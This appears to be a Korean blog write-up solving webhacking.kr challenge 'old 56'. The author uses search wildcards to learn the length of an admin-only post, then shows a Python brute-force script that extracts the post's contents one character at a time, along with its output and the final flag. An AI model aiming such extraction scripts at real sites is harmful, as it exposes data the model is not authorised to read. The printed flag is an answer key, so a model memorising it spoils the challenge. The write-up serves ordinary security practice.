Wargame/webhacking.kr

Challenge old 56 (250)

마띠(쥔장) 2020. 2. 11. 17:46

 

readme를 눌렀을 때

hi~를 눌렀을 때

readme가 admin이 쓴 게시물인 것 같고 acess denied가 뜨는 것으로 보아,

어떻게든 권한을 얻어서 그 게시물을 보면 플래그가 있을 것으로 추정된다

 

테이블 밑에는 검색창이 있다

먼저, 1부터 9까지 검색해봤을 때는 아무 것도 검색되지 않았다

0을 검색해보니

두 게시글 모두 검색되었다

 

이번엔 a부터 알파벳을 넣어보자

a를 검색해봤을 때는 readme가 검색되었다

검색된 알파벳들이다

a, c, d, e, f, g, h, i, k, l, m, n, o, s, t, u, y

하늘색은 readme, hi~가, 검정색은 readme만 검색된 알파벳이다

이후 저 위 글자들로 조합할 수 있는 몇 개의 예상 단어들을 검색해봤다

no, id, admin, html, guess 등.. 하지만 검색되지 않았다

readme 검색에 성공한 것은 hi와 flag 였다!

모르겠어서 구글링을 해봤다.

하지만 적절한 블로그 글을 찾을 수가 없었다..

 

그 대신 와일드카드라는 정보를 얻었다.

그 중 한 개 이상의 문자열을 나타내는 언더바를 이용해 다시 검색을 넣어봤다.

____________________________________________ (언더바 44개)는 readme가 검색이 되었고

_____________________________________________ (언더바 45개)는 실패했다

따라서 readme 속 내용은 44글자라는 것을 알게 되었다

그 중 flag, {, }도 검색되는 것을 보아 우리는 38글자의 문자열만 유추하면 된다

 

구글링을 통해 파이썬 코드를 참고해서 돌렸다

(오류가 엄청 떴다;;)

import requests
cookies={'PHPSESSID':'????'}

flag="flag{"
data={'search':""}
for i in range(0,45):
    for j in range(40,127):
        data['search']=flag+chr(j)
        res=requests.post('https://webhacking.kr/challenge/web-33/', cookies=cookies, data=data)
        if((res.text).find("admin")>0):
            flag+=chr(j)
            print (flag)
            break
    
print ("final flag is: "+flag)

 

그런데 POST 방식을 GET 방식으로 바꾸려고 하거나 j의 반복 범위를 36, 37, 38 등부터 시작하도록 시도해보면,

속도는 빨랐지만 아래처럼 아스키코드값 33부터 38에 해당하는 !, #, $, % 등만 나왔다

어쨌든.. 

flag{H
flag{HI
flag{HIM
flag{HIMI
flag{HIMIK
flag{HIMIKO
flag{HIMIKO_
flag{HIMIKO_T
flag{HIMIKO_TO
flag{HIMIKO_TOG
flag{HIMIKO_TOGA
flag{HIMIKO_TOGA_
flag{HIMIKO_TOGA_I
flag{HIMIKO_TOGA_IS
flag{HIMIKO_TOGA_IS_
flag{HIMIKO_TOGA_IS_C
flag{HIMIKO_TOGA_IS_CU
flag{HIMIKO_TOGA_IS_CUT
flag{HIMIKO_TOGA_IS_CUTE
flag{HIMIKO_TOGA_IS_CUTE_
flag{HIMIKO_TOGA_IS_CUTE_D
flag{HIMIKO_TOGA_IS_CUTE_DO
flag{HIMIKO_TOGA_IS_CUTE_DON
flag{HIMIKO_TOGA_IS_CUTE_DONT
flag{HIMIKO_TOGA_IS_CUTE_DONT_
flag{HIMIKO_TOGA_IS_CUTE_DONT_Y
flag{HIMIKO_TOGA_IS_CUTE_DONT_YO
flag{HIMIKO_TOGA_IS_CUTE_DONT_YOU
flag{HIMIKO_TOGA_IS_CUTE_DONT_YOU_
flag{HIMIKO_TOGA_IS_CUTE_DONT_YOU_TH
flag{HIMIKO_TOGA_IS_CUTE_DONT_YOU_THI
flag{HIMIKO_TOGA_IS_CUTE_DONT_YOU_THIN
flag{HIMIKO_TOGA_IS_CUTE_DONT_YOU_THINK
flag{HIMIKO_TOGA_IS_CUTE_DONT_YOU_THINK_
flag{HIMIKO_TOGA_IS_CUTE_DONT_YOU_THINK_S
flag{HIMIKO_TOGA_IS_CUTE_DONT_YOU_THINK_SO
flag{HIMIKO_TOGA_IS_CUTE_DONT_YOU_THINK_SO?_
final flag is: flag{HIMIKO_TOGA_IS_CUTE_DONT_YOU_THINK_SO?_

엄청 기다린 다음에 이렇게 플래그가 떴다

가장 마지막에 닫는 괄호 대신에 언더바가 떴는데.. 언더바는 95, 닫는 괄호는 125이니까

범위 조절을 잘 해주면 될 것 같지만 또 기다리기 싫어서 그냥 넣었따

flag{HIMIKO_TOGA_IS_CUTE_DONT_YOU_THINK_SO?}

728x90

'Wargame > webhacking.kr' 카테고리의 다른 글

Challenge old 59 (200)  (0) 2020.02.17
Challenge old 58 (150)  (0) 2020.02.17
Challenge old 53 (350)  (0) 2020.02.11
Challenge old 51 (250)  (1) 2020.02.11
Challenge old 48 (350)  (0) 2020.02.11